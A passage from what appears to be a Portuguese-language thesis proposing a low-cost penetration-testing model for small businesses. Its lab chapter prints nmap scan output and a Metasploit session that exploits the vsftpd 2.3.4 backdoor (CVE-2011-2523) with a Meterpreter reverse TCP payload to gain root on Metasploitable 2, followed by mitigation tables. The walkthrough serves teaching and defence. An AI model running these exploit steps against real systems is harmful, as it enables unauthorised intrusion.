desenvolvida pela OWASP para identificagao de vulnerabilidades em aplicagdes web.
A ferramenta atua como um proxy intermediario entre o navegador e a aplicagao,
permitindo a inspegéo do trafego HTTP e HTTPS, bem como a realizagéo de testes
automatizados e manuais de seguranca.

Entre seus principais recursos destacam-se a detecgao de vulnerabilidades
como Cross-Site Scripting (XSS), falhas de configuracdo de seguranga, exposigao
inadequada de informacdes e outros problemas frequentemente encontrados em
aplicagbes web. Além disso, o OWASP ZAP oferece funcionalidades de varredura
automatizada, mapeamento de aplicacbes e analise de requisi¢cdes e respostas,
tornando-se uma alternativa acessivel para organizagdes com recursos limitados.

No modelo proposto, o OWASP ZAP pode ser empregado durante as fases de
reconhecimento e analise de vulnerabilidades, auxiliando na identificacédo de falhas

em aplicagcbes web expostas a Internet. Por ser uma ferramenta gratuita e
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amplamente adotada pela comunidade de segurancga, sua utilizagdo contribui para a

viabilidade da aplicagao de praticas de Pentest em PMEs.

4.3.4 Metasploit Framework (Community Edition)

O Metasploit Framework € o framework de exploragao de vulnerabilidades mais
utilizado na area. O Metasploit Framework € uma das principais ferramentas utilizadas
em testes de penetracdo, especialmente em atividades relacionadas a validacao

pratica de vulnerabilidades.
4.3.5 Wireshark

O Wireshark é o analisador de protocolos de rede mais utilizado do mundo,
capaz de capturar e inspecionar o trafego em tempo real. E especialmente util para

identificar o uso de protocolos legados inseguros como Telnet, FTP e HTTP sem TLS.

Tabela 3 - Ferramentas acessiveis para PMEs

Ferramenta | Fungao principal Fase do Limitacao Custo
modelo principal
Nmap Scanner de rede | Reconhecimento | Requer Gratuito
€ servicos e Analise interpretacao
qualificada
OpenVAS Scanner de Analise de Alta taxa de Gratuito
vulnerabilidades | Vulnerabilidades | falsos positivos
OWASP Testes em Analise e Escopo restrito | Gratuito
ZAP aplicagdes web Exploracao a apps web
(web)
Wireshark Analise de Reconhecimento | Requer Gratuito
trafego de rede e Anadlise conhecimento
em redes
Metasploit Framework de Exploracao Risco se mal Gratuito
exploragéao Controlada configurado

Fonte: elaborado pelo autor com base em Kennedy et al. (2011) e PTES (2012).
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4.4 INTEGRAGCAO DOS FRAMEWORKS NO MODELO PROPOSTO

O PTES funciona como a estrutura metodoldgica central do modelo, definindo
as fases operacionais do processo de Pentest, os procedimentos adotados e os
padrées de documentacdo. O MITRE ATT&CK complementa essa estrutura ao
fornecer uma base de conhecimento das técnicas e taticas utilizadas em ataques
reais, permitindo alinhar os testes executados aos comportamentos observados em
ameacas contemporaneas. Por sua vez, o Cyber Kill Chain contribui com uma visao
sequencial das etapas percorridas pelos atacantes durante uma invasao,
possibilitando relacionar as vulnerabilidades identificadas aos diferentes momentos do
ciclo de comprometimento e evidenciar pontos em que mecanismos defensivos

podem detectar, interromper ou mitigar o ataque.

4.5 VIABILIDADE DO MODELO: O ARRANJO OPERACIONAL PARA PMES

A adocgéo de praticas de Pentest em PMEs enfrenta desafios relacionados a
limitagdo de recursos financeiros, a escassez de profissionais especializados € a
necessidade de manter atividades de seguranga de forma continua. Para tornar o
modelo proposto compativel com essa realidade, esta pesquisa apresenta um
arranjo operacional composto por trés camadas complementares, responsaveis pela

identificacéo, validagédo e mitigacao de vulnerabilidades ao longo do tempo.

451 Camada 1: O Pentester interno

A primeira camada é composta por um profissional interno em formacao,
preferencialmente um estagiario ou analista junior de Tl com o foco dos estudos em
seguranga ofensiva, responsavel pelas atividades de reconhecimento, monitoramento
e identificacao inicial de vulnerabilidades. Considerando a realidade financeira das
PMEs, a contratagcéo de especialistas dedicados em seguranga ofensiva nem sempre
€ viavel. Dessa forma, o modelo propde a capacitacdo gradual de profissionais em
inicio de carreira para executar tarefas operacionais apoiadas por ferramentas
automatizadas e procedimentos padronizados.

Além dos beneficios para a organizagao, essa abordagem contribui para o

desenvolvimento profissional do colaborador. O mercado de seguranga ofensiva
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frequentemente exige experiéncia prévia mesmo para vagas de entrada, criando uma
barreira para profissionais que desejam ingressar na area. Ao participar das atividades
de reconhecimento, analise de vulnerabilidades e monitoramento, o profissional
adquire experiéncia pratica em um ambiente real, desenvolvendo competéncias que
dificilmente seriam obtidas apenas por meio de cursos ou laboratérios académicos.
Dessa forma, o modelo gera beneficios mutuos, a empresa desenvolve capacidades
internas de seguranca a baixo custo, enquanto o colaborador obtém experiéncia

relevante para sua evolugéo na area de cibersegurancga.

4.5.2 Camada 2: A empresa terceirizada de Pentest

A contratacdo de uma empresa especializada em Pentest permite que a
organizagdo obtenha uma avaliagdo independente de sua postura de seguranca,
reduzindo possiveis vieses associados as avaliagdes realizadas exclusivamente por
equipes internas. Além da validacao técnica das vulnerabilidades identificadas durante
as etapas de reconhecimento e analise, a empresa contratada contribui com a
experiéncia acumulada em diferentes ambientes organizacionais e setores de
mercado, ampliando a capacidade de identificacao de riscos relevantes.

Entre as principais atividades executadas por essas empresas destacam-se a
realizacao de testes de invasao em aplicagdes web, infraestrutura de rede, ambientes
internos e servicos expostos a internet, bem como a validacido pratica de
vulnerabilidades identificadas por ferramentas automatizadas. Diferentemente dos
scanners de vulnerabilidades, que podem gerar falsos positivos, o Pentest busca
comprovar a exploragao real das falhas encontradas.

Outro beneficio importante esta relacionado a qualidade da documentacéao
produzida. Empresas especializadas normalmente entregam relatorios estruturados
contendo descricdo das vulnerabilidades identificadas, evidéncias técnicas,
classificacdo de criticidade baseada em padrdes reconhecidos, como o CVSS, e
recomendagdes de mitigagdo priorizadas. Esses relatérios auxiliam gestores na
tomada de decisdo e servem como referéncia para as atividades executadas
posteriormente pela equipe interna ou pela empresa terceirizada de Segurancga
Defensiva.

Além disso, o mercado brasileiro oferece empresas especializadas com

modelos de contratacdo escalonaveis, permitindo que PMEs realizem avaliagbes
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periddicas sem a necessidade de manter profissionais altamente especializados em
regime permanente. Dessa forma, a contratagao pontual de servicos de Pentest
representa uma alternativa economicamente mais acessivel para organizagdes que
desejam validar sua seguranca de forma profissional, mantendo compatibilidade com
suas limitacbes orcamentarias.

Deste modo, a periodicidade da contratagdo deve ser definida de acordo com
o porte da organizagéo, a criticidade dos ativos e a frequéncia de mudangas em sua
infraestrutura tecnoldgica. Para a realidade da maioria das PMEs, recomenda-se a
realizagao de Pentests completos pelo menos uma vez por ano, bem como apoés
alteragdes significativas em sistemas, aplicacbes ou na arquitetura de rede. Essa
abordagem permite identificar novas vulnerabilidades introduzidas por mudangas no

ambiente e acompanhar a evolugéo da postura de seguranga ao longo do tempo.

4.5.3 Camada 3: A empresa terceirizada de seguranga defensiva

A terceira camada € uma empresa de seguranca defensiva terceirizada ou
MSSP (Managed Security Service Provider) responsavel por implementar as
corregbes recomendadas no relatério do Pentest e manter os controles defensivos ao
longo do tempo. Herzog (2010) enfatiza que a identificacdo de vulnerabilidades deve
estar associada a implementacao continua de medidas corretivas e processos de
melhoria da seguranga. Nesse contexto, modelos terceirizados de seguranga, como
MSSPs, podem representar uma alternativa viavel para PMEs que possuem
limitacbes técnicas ou operacionais para manter equipes internas especializadas.

No contexto das PMEs, a atuagdo da empresa terceirizada de seguranca
defensiva n&o exige necessariamente a implementagdo de estruturas complexas,
como Centros de Operagdes de Seguranca (SOC) dedicados. O foco principal
consiste na manutengao continua dos controles de seguranga recomendados pelo
Pentest, garantindo que as vulnerabilidades identificadas sejam efetivamente
corrigidas e monitoradas ao longo do tempo.

Entre os servigos mais relevantes para esse cenario destacam-se a gestao de
atualizagbes e corregbes de seguranga (patch management), administragdo de
firewalls, monitoramento de eventos e logs, gerenciamento de backups e suporte na

resposta a incidentes. Essas atividades contribuem para reduzir a superficie de ataque
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e aumentar a capacidade de recuperagao da organizagao diante de falhas ou ataques
cibernéticos.

Uma alternativa acessivel para PMEs € a adog¢ao de solugbes de seguranca
baseadas em assinatura. Como exemplo, o Microsoft Defender for Business oferece
recursos de protecdo avangada para endpoints, deteccdo e resposta a ameacgas
(EDR), gerenciamento de vulnerabilidades, monitoramento de dispositivos e resposta
automatizada a incidentes. Esse modelo permite que pequenas e médias empresas
tenham acesso a funcionalidades tradicionalmente disponiveis apenas em solucdes
corporativas de maior porte, sem a necessidade de manter equipes especializadas
dedicadas exclusivamente a seguranga da informacao.

A disponibilidade de servigos gerenciados de segurancga e solu¢gdes comerciais
voltadas ao segmento de PMEs reforga a viabilidade financeira do modelo proposto.
Em vez de realizar elevados investimentos iniciais em infraestrutura e pessoal
especializado, as organiza¢des podem adotar uma abordagem gradual baseada em
ferramentas gratuitas, profissionais internos em desenvolvimento e servigos
terceirizados escalaveis, compatibilizando a evolugdo da maturidade em seguranga

com sua realidade orgcamentaria.

4.6 Modelo integrado da proposta

Nenhuma das trés camadas propostas ¢é suficiente isoladamente para atender
as necessidades de seguranca das pequenas e médias empresas. Organizacdes
desse porte frequentemente enfrentam limitagdes relacionadas a disponibilidade de
recursos financeiros, auséncia de equipes especializadas, restricdes operacionais e
baixo nivel de maturidade em seguranga da informagéo. Além disso, muitas PMEs
ainda concentram seus investimentos em aspectos operacionais do negaocio, tratando
a segurancga cibernética de forma reativa ou secundaria. Nesse cenario, a
implementagdo de praticas avangadas de seguranga ofensiva exige abordagens
flexiveis e adaptaveis, capazes de equilibrar rigor metodoldgico, viabilidade
operacional e compatibilidade com a realidade estrutural dessas organizagdes.

Dessa forma, o modelo desenvolvido neste trabalho busca integrar diferentes
abordagens de seguranga ofensiva em uma estrutura unica e complementar. A
proposta combina o PTES como base metodoldgica para organizagao das etapas do

Pentest, o MITRE ATT&CK como referéncia pratica das técnicas ofensivas utilizadas
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em ataques reais e o Cyber Kill Chain como modelo sequencial das fases de
comprometimento percorridas pelos atacantes. A integracdo desses frameworks
permite estruturar o processo de avaliagdo de seguranga de maneira mais
consistente, relacionando metodologias de execugdo, comportamentos ofensivos
observados em cenarios reais e as diferentes etapas do ciclo de ataque.

A Figura 1 apresenta a organizacdo integrada do modelo proposto,
relacionando as fases operacionais do Pentest, os frameworks utilizados como

suporte conceitual e o arranjo operacional em camadas.

Figura 1 - Modelo integrado para Pentest

Modelo conceitual de Pentest para PMEs
Baseado em PTES - MITRE ATT&CK - Cyber Kill Chain

Fases metodoldgicas Arranjo operacional
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Fonte: Elaborado pelo autor (2026).
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5 DEMONSTRAGAO PRATICA EM AMBIENTE CONTROLADO

Este capitulo apresenta a aplicacéo pratica do modelo conceitual proposto, por
meio de uma demonstragao executada em laboratorio controlado. O objetivo é ilustrar
as fases de reconhecimento, enumeracao e exploragdo com ferramentas de cédigo
aberto. Todos os testes foram conduzidos em ambiente isolado, sem qualquer

interacao com sistemas reais ou dados de terceiros.
5.1 CONFIGURAGAO DO AMBIENTE DE LABORATORIO

O laboratério foi configurado com o VMware Workstation como plataforma de
virtualizagdo, em rede virtual isolada (modo Host-Only), composto pelas maquinas

apresentadas na tabela 4.

Tabela 4 - Configuragdo do ambiente de laboratoério

Maquina Sistema Endereco IP Papel no
operacional laboratério
Maquina atacante | Kali Linux 192.168.10.129 Execugéao das
ferramentas
Maquina alvo Metasploitable 2 192.168.10.130 Sistema
intencionalmente
vulneravel

Fonte: elaborado pelo autor (2026).

O Kali Linux € uma distribuicdo GNU/Linux desenvolvida pela Offensive
Security, amplamente utilizada em atividades de testes de penetragdo e segurancga
ofensiva. A distribuigdo sucedeu ao BackTrack Linux e consolidou-se como uma das
principais plataformas voltadas a execugao de ferramentas de Pentest.

O Metasploitable 2 é uma maquina virtual desenvolvida pela Rapid7,
intencionalmente configurada com servigos vulneraveis e senhas fracas, simulando o

perfil de uma organizagao com baixa maturidade de seguranca.
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5.2 FASE DE RECONHECIMENTO E ENUMERAGAO COM NMAP

O Nmap foi utilizado em dois comandos complementares, correspondentes a
Fase 2 do modelo e a tatica de Reconhecimento do MITRE ATT&CK (STROM et al.,
2020).

5.21 Enumeracao de servigos e versoes

O primeiro comando executado foi: Nmap -sV 192.168.10.130 o parametro -sV
instrui o Nmap a realizar a detecgao de versdes de servigo (service version detection),
além de identificar quais portas estdo abertas, a ferramenta envia sondas especificas
para determinar qual servico estd em execucdo e qual sua versdo exata. Essa
informacéao é fundamental pois versdes especificas frequentemente estdo associadas

a vulnerabilidades catalogadas no CVE.

Figura 2 - Resultado do comando nmap -sV 192.168.10.130

/home/kali

192.168.10.130
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-17 18:45 -0300
Nmap scan report for 192.168.10.130
Host is up (0.0017s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7pl1 Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote ISP engine 1.1
MAC Address: 00:0C:29:91:00:9E (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss
: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.05 seconds

Fonte: captura de tela obtida pelo autor durante a demonstragéo (2026).

O resultado, apresentado na Figura 2, revela 23 portas abertas com servigcos
que incluem FTP (portas 21 e 2121), SSH (porta 22), Telnet (porta 23), HTTP (portas
80 e 8180), MySQL (porta 3306), PostgreSQL (porta 5432) e IRC (porta 6667). Para

os fins desta demonstragcdo, o foco recai sobre a porta 21 (FTP), na qual foi
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identificado o servico vsftpd 2.3.4, versdo conhecida por conter um backdoor

malicioso inserido em seu cédigo-fonte.

5.2.2 Identificagao de vulnerabilidades com NSE

O segundo comando executado foi: Nmap —script vuln 192.168.10.130, o
parametro --script vuln ativa o Nmap Scripting Engine (NSE) com a categoria de
scripts de vulnerabilidades. O NSE executa scripts Lua que correlacionam os servigos
identificados com registros de CVEs e bases de dados de exploits. Embora nao
substitua scanners especializados, como o0 OpenVAS, esse recurso permite ao Nmap
realizar verificagdes preliminares de vulnerabilidades conhecidas e apoiar a fase de

analise de segurancga.

Figura 3 - Resultado do comando nmap --script vuln

21/tcp open ftp
| ftp-vsftpd-backdoor:
VULNERABLE:
vsFTPd version 2.3.4 backdoor
State: VULNERABLE (Exploitable)
IDs: CVE:CVE-2011-2523 BID:48539
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
Disclosure date: 2011-07-03
Exploit results:
Shell command: id
Results: uid=0(root) gid=0(root)
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
https://wmw .securityfocus.com/bid/48539
open ssh
open telnet
open smtp

Fonte: captura de tela obtida pelo autor durante a demonstragéo (2026).

O resultado, apresentado na Figura 3, confirma a presenca do backdoor no
servico FTP da porta 21 com estado VULNERABLE (Exploitable). A tabela 5

apresenta as informacdes identificadas pela varredura.
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Tabela 5 - Dados da CVE-2011-2523 identificados pela varredura NSE

Campo Informacgao identificada
Vulnerabilidade vsFTPd verséo 2.3.4 backdoor
Estado VULNERABLE (Exploitable)
CVE CVE-2011-2523 / BID:48539

Data de divulgacao 2011-07-03

Resultado do exploit uid=0(root) gid=0(root) acesso root confirmado

Fonte: elaborado pelo autor com base nos resultados da varredura (2026).

O CVE-2011-2523 documenta um dos casos mais notérios de
comprometimento da cadeia de suprimentos de software, em 2011 o cédigo-fonte do
vsftpd 2.3.4 foi substituido por uma versao maliciosa contendo um backdoor que abria
um shell com privilégios de root na porta 6200/TCP. O incidente representa o risco da

auséncia de verificagcao de integridade de pacotes de software.

5.3 FASE DE EXPLORAGAO CONTROLADA COM METASPLOIT
FRAMEWORK

Com a vulnerabilidade CVE-2011-2523 confirmada durante a etapa de
enumeracgao, a fase de exploracdo controlada foi conduzida por meio do médulo
exploit/unix/ftp/vsftpd_234 backdoor do Metasploit Framework. Esse mddulo explora
uma backdoor inserida maliciosamente na versdo 2.3.4 do servico VSFTPD,
vulnerabilidade amplamente documentada e associada a execugao remota de
comandos sem autenticagao prévia. A utilizacdo do moédulo permitiu automatizar o
processo de exploragdo, simulando um cenario real de comprometimento inicial em
ambientes com servigcos desatualizados e expostos a rede.

Durante o procedimento, foram configurados os parametros basicos do exploit,
incluindo o endereco IP do alvo e a porta utilizada pelo servico FTP vulneravel. Apos
a execucdo do modulo, foi estabelecida uma sessdao remota no sistema
comprometido, demonstrando que a exploracao poderia ser realizada com baixo nivel
de complexidade técnica e utilizando ferramentas amplamente disponiveis na

comunidade de seguranga ofensiva. Esse resultado evidencia como vulnerabilidades
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conhecidas e nao corrigidas podem permitir comprometimento completo do sistema

mesmo sem técnicas avangadas de ataque.

Figura 4 - Exploragdo da CVE-2011-2523 via Metasploit.

msf > search vsftpd

Matching Modules

Name Disclosure Date Rank Check Description
auxiliary/dos/ftp/¥sftpd_232 2011-02-03 normal Yes .3.2 Denial of Service
exploit/unix/ftp/Msftpd_234_backdoor 2011-07-03 X t .4 Backdoor Command Execution

Interact with a module by name or index. For example f v e 1 or

msf > use 1
Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit( ) > set LHOST 192.168.10.129
LHOST = 192.168.10.129
msf exploit( ) > set RHOSTS 192.168.10.130
RHOSTS = 192.168.10.130
msf exploit( ) > use exploit/unix/ftp/vsftpd_234_backdoor
Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit( ) > run
Started reverse TCP handler on 192.168.10.129:4444
[+] 192.168.10.130:21 - Backdoor has been spawned!
Meterpreter session 1 opened (192.168.10.129:4444 — 192.168.10.130:40266) at 2026-05-17 19:08:38 -

meterpreter > shell
Process 6595 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 gdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth@: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast glen 1000
link/ether 00:0c:29:91:00:9e brd ff:ff:ff:ff:ff:ff
inet 192.168.10.130/24 brd 192.168.10.255 scope global eth@
inet6 fe80@::20c:29ff:fe91:9e/64 scope link
valid_1ft forever preferred_lft forever
3: ethl: <BROADCAST,MULTICAST> mtu 1500 gdisc noop glen 1000
link/ether 00:0c:29:91:00:a8 brd ff:ff:ff:ff:ff:ff

Fonte: captura de tela obtida pelo autor durante a demonstragao (2026).

A Figura 4 documenta a exploragao completa. O médulo foi classificado pelo
Metasploit com rank excelente, a classificacdo mais alta de confiabilidade. Em menos
de dois segundos, a sessdo Meterpreter foi estabelecida: “Meterpreter session 1
opened (192.168.10.129:4444 - 192.168.10.130:40266)” ou seja, a maquina atacante
se conectou com a maquina alvo. O comando “id” retornou “uid=0(root) gid=0(root)”

acesso com privilégios maximos obtido sem qualquer etapa adicional de escalada.

5.31 Mapeamento na Cyber Kill Chain e MITRE ATT&CK

A tabela 6 apresenta o mapeamento de cada etapa da exploragéao na Cyber Kill
Chain e no MITRE ATT&CK.
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Tabela 6 - Mapeamento da exploragdo na Cyber Kill Chain e MITRE ATT&CK

Elo da Kill Chain Acao realizada Técnica MITRE ATT&CK

1. Reconhecimento | nmap -sV: identificagao do T1595: Active Scanning
vsftpd 2.3.4

2. Armamento Selegcado do mddulo exploit no | T1587: Develop Capabilities
Metasploit

3. Entrega Requisigdo FTP com T1190 : Exploit Public-
backdoor trigger Facing Application

4. Exploragao Ativagao do backdoor, T1190 : Exploit Public-
abertura porta 6200 Facing Application

5. Instalacéo Sessao Meterpreter T1543: Create or Modify
estabelecida System Process

6. Comando e Canal reverso TCP T1571: Non-Standard Port

Controle 192.168.10.129:4444

7. Acdes/Objetivos | Shell root obtido; acesso total | T1078: Valid Accounts
ao sistema (root)

Fonte: elaborado pelo autor com base em Hutchins, Cloppert e Amin (2011) e MITRE
ATT&CK (STROM et al., 2020).

A demonstragéo percorreu todos os sete elos da Cyber Kill Chain em menos
de cinco minutos, a partir de um unico servigco desatualizado. Isso refor¢ca a proposta
de Hutchins, Cloppert e Amin (2011) de que diferentes etapas do ciclo de ataque
podem ser utilizadas para identificacdo, contencdo ou interrupcdo de atividades
maliciosas. No caso da PME simulada, ndo foram identificados mecanismos de defesa

capazes de interromper o ataque ao longo das etapas analisadas.

5.4 IMPACTOS IDENTIFICADOS E RECOMENDAGOES DE MITIGAGAO

O comprometimento total do sistema, com ferramentas gratuitas e técnica
documentada ha mais de uma década evidencia impactos que, em ambiente real de
PME, seriam potencialmente devastadores, com o comprometimento total do sistema,
risco de movimentacao lateral em redes sem segmentagcao e possibilidade de
ransomware ou exfiltracdo de dados. A tabela 7 apresenta as recomendagdes de

mitigag&o priorizadas.
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Tabela 7 - Recomendacgbes de mitigagdo priorizadas

# | Vulnerabilidade Recomendacgao Criticidade | Custo
(CVSS)
1 | vsftpd 2.3.4 (CVE- Atualizar imediatamente ou Critica Baixo
2011-2523) desativar o FTP (10.0)
2 | 23 portas e servicos | Desativar servigos nao Alta Baixo
expostos utilizados; implementar
firewall
3 | Telnet em texto claro | Substituir Telnet por SSH; Alta Baixo
(porta 23) desativar Telnet
4 | Auséncia de IDS/IPS | Implementar Snort ou Média Baixo
Suricata (codigo aberto)
5 | Auséncia de gestao Implementar processo Alta Baixo
de patches formal de atualizagao
periddica
Fonte: elaborado pelo autor com base nos resultados da demonstragdo e no NIST SP 800-
115 (2008).

5.5 O QUE A DEMONSTRAGAO EVIDENCIA SOBRE AS PMES

A demonstragao evidencia que a CVE-2011-2523, divulgada em 2011 ha mais
de 14 anos, ainda poderia ser explorada em ambientes sem processos adequados de
gestao de vulnerabilidades e atualizagdo de sistemas. Segundo Stallings (2017), a
manutengdo inadequada e a permanéncia de vulnerabilidades conhecidas
representam fatores relevantes para o comprometimento de ambientes corporativos.
No cenario demonstrado, a simples atualizacdo ou desativacédo do servigo vulneravel
teria sido suficiente para eliminar completamente o vetor de ataque utilizado.

Além de ilustrar os riscos associados a manutencéo de servigos vulneraveis, a
demonstracéo permitiu validar aspectos centrais do modelo proposto nesta pesquisa.
Primeiramente, confirmou a eficacia da fase de reconhecimento na identificagdo de
servigos expostos e potenciais vulnerabilidades por meio de ferramentas gratuitas e
amplamente acessiveis. Em seguida, evidenciou a importadncia da analise e da
exploracdo controlada para comprovar o impacto real das falhas identificadas,
reduzindo a dependéncia exclusiva de resultados automatizados e permitindo uma

avaliagdo mais precisa dos riscos.
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Os resultados obtidos também reforcam a relevidncia da documentagcao
produzida durante o processo de Pentest. A apresentacdo de evidéncias concretas,
como a identificagdo da vulnerabilidade, a validagao da exploracao e a obtencao de
acesso privilegiado, contribui para tornar os riscos mais compreensiveis para gestores
nao técnicos, facilitando a priorizagédo de investimentos e agdes corretivas.

Por fim, a demonstracao reforca a necessidade de um processo continuo de
correcdo e monitoramento das vulnerabilidades identificadas. A simples descoberta
de falhas ndo produz beneficios efetivos sem a implementagdo das medidas
recomendadas. Nesse contexto, a inclusdo de uma empresa terceirizada de
Segurancga Defensiva no arranjo operacional proposto mostra-se fundamental para
garantir a aplicagdo das corregdes, a manutengcéo dos controles de seguranga e o

acompanhamento permanente da postura de seguranga da organizagao.
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6 RESULTADOS E DISCUSSOES

Os resultados obtidos ao longo desta pesquisa permitiram avaliar a viabilidade
da aplicacao de praticas de Pentest em pequenas e médias empresas por meio de
um modelo simplificado e adaptado a sua realidade operacional. A analise da literatura
demonstrou que as PMEs estéo frequentemente expostas a vulnerabilidades técnicas,
humanas e processuais, muitas vezes sem possuir recursos suficientes para manter
equipes especializadas ou investir em solugdes de alto custo.

A demonstragcdo pratica realizada em ambiente controlado reforgcou esse
cenario ao evidenciar como uma vulnerabilidade conhecida e amplamente
documentada pode ser identificada e explorada utilizando ferramentas gratuitas e
amplamente disponiveis na comunidade de segurancga ofensiva. Em poucos minutos
foi possivel identificar servigos vulneraveis, confirmar a existéncia de uma falha
conhecida e obter acesso privilegiado ao sistema-alvo. Esse resultado demonstra que
a exploragao de vulnerabilidades nem sempre exige recursos avangados por parte
dos atacantes, especialmente quando nao existem processos adequados de
atualizagao e monitoramento.

Outro aspecto observado durante o desenvolvimento deste trabalho foi a
viabilidade da utilizagao de ferramentas gratuitas como Nmap, OpenVAS, Wireshark,
OWASP ZAP e Metasploit Framework. Embora algumas dessas ferramentas exijam
conhecimento técnico para interpretagcdo dos resultados, elas oferecem recursos
suficientes para apoiar atividades de reconhecimento, analise de vulnerabilidades e
validagao de riscos sem a necessidade de investimentos elevados em licenciamento
de software.

Os resultados observados corroboram a hipétese de que praticas de seguranga
ofensiva podem ser adaptadas a realidade das PMEs sem comprometer o rigor
técnico. A utilizacao de ferramentas gratuitas, associada a aplicacdo de metodologias
reconhecidas pelo mercado, demonstrou que a identificacdo e validacido de
vulnerabilidades ndo dependem exclusivamente de solugdes comerciais de alto custo.
Dessa forma, o modelo proposto apresenta potencial para ampliar o acesso de
pequenas e medias empresas a processos estruturados de avaliagdo de seguranca.
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6.1 BENEFICIOS DA PROPOSTA

Entre os principais beneficios identificados, destaca-se a possibilidade de
implementar praticas de seguranga ofensiva de forma gradual e compativel com a
realidade financeira das PMEs. O modelo proposto ndo depende exclusivamente da
contratacdo de especialistas altamente qualificados, permitindo que profissionais em
inicio de carreira, como estagiarios ou analistas juniores, participem das atividades de
menor complexidade enquanto empresas especializadas executam avaliagbes mais
avancadas.

Outro beneficio relevante é a utilizacido de ferramentas de baixo custo ou
gratuitas, reduzindo significativamente as barreiras de entrada para a adogao de
processos de seguranga. Além disso, o modelo contribui para aumentar a
conscientizacdo organizacional sobre riscos reais, transformando vulnerabilidades
abstratas em evidéncias concretas que podem orientar decisdes de investimento e
melhoria da infraestrutura.

Adicionalmente, destaca-se a possibilidade de adogao gradual de controles
defensivos compativeis com a realidade das PMEs. Solugbes de mercado voltadas
para pequenas empresas, como servigos gerenciados de segurancga e plataformas de
protecdo de endpoints baseadas em assinatura, permitem complementar as
atividades de Pentest sem exigir grandes investimentos iniciais em infraestrutura ou
equipes especializadas. Isso favorece a construgao progressiva da maturidade em
seguranga da informacgao, reduzindo barreiras de entrada para organizagbes com

recursos limitados.

6.2 LIMITAGOES DA PROPOSTA

Apesar dos resultados positivos, algumas limitagcbes devem ser consideradas.
A principal delas é que a validagédo do modelo foi realizada em ambiente controlado
de laboratério, utilizando uma maquina propositalmente vulneravel. Dessa forma, os
resultados obtidos nao representam integralmente a complexidade encontrada em
ambientes corporativos reais.

Outra limitagcdo esta relacionada a dependéncia do comprometimento da
organizacdo com a implementacdo das corre¢gdes recomendadas. A simples

identificacdo das vulnerabilidades ndo garante a melhoria da seguranga caso nao
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existam recursos, planejamento ou interesse por parte da empresa para corrigir 0s
problemas encontrados.

Além disso, embora a utilizagdo de profissionais em inicio de carreira contribua
para a redugao de custos, a efetividade dessa abordagem depende da capacitagao
continua desses colaboradores e da existéncia de processos bem definidos. A falta
de treinamento adequado pode comprometer a qualidade das atividades executadas
e limitar os beneficios esperados pelo modelo.

Também deve ser considerada a limitagdo sobre o escopo do modelo proposto.
A abordagem concentra-se principalmente na identificacado, validagao e mitigacao de
vulnerabilidades técnicas por meio de atividades de Pentest. Dessa forma, né&o
contempla integralmente praticas mais avangadas de seguranga ofensiva, como
exercicios de Red Team, simulagdes completas de ameacas persistentes avancadas
(APT), testes extensivos de engenharia social ou avaliagbes aprofundadas da
capacidade de detecgao e resposta da organizagdo. Embora essas atividades possam
proporcionar uma Visdo mais abrangente da postura de seguranga, sua
implementagdo geralmente demanda recursos financeiros, tempo e especializagao
incompativeis com a realidade da maioria das PMEs.

Apesar dessas limitagdes, elas ndo comprometem o objetivo principal da
pesquisa, que consiste na proposicdo e demonstragdo de um modelo conceitual
adaptado a realidade das PMEs. A validacdo em ambiente controlado permitiu
demonstrar, de forma segura e reproduzivel, a aplicagdo das etapas propostas.
Entretanto, reconhece-se que a auséncia de aplicagcéo pratica em uma PME real
constitui a principal limitagdo metodolégica do estudo e representa uma oportunidade
para pesquisas futuras voltadas a validacdo empirica do modelo em ambientes

organizacionais reais.

6.3 CONSIDERAGOES SOBRE OS RESULTADOS

De forma geral, os resultados obtidos indicam que a adocéo de praticas de
Pentest em PMEs é tecnicamente viavel e pode ser implementada de maneira gradual
utilizando recursos acessiveis. A combinagao entre profissionais internos, ferramentas
gratuitas e servicos especializados terceirizados mostrou-se uma alternativa
compativel com as limitagcdes normalmente encontradas nesse tipo de organizacéo.

Embora existam desafios relacionados a capacitacéo, aos custos e a necessidade de
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validagdo em ambientes reais, 0 modelo proposto apresenta potencial para contribuir
com a melhoria da postura de segurangca das PMEs brasileiras, oferecendo uma
abordagem estruturada e financeiramente mais acessivel para a identificagdo e

mitigagdo de vulnerabilidades.
6.4 COMPARAGAO DE MODELOS

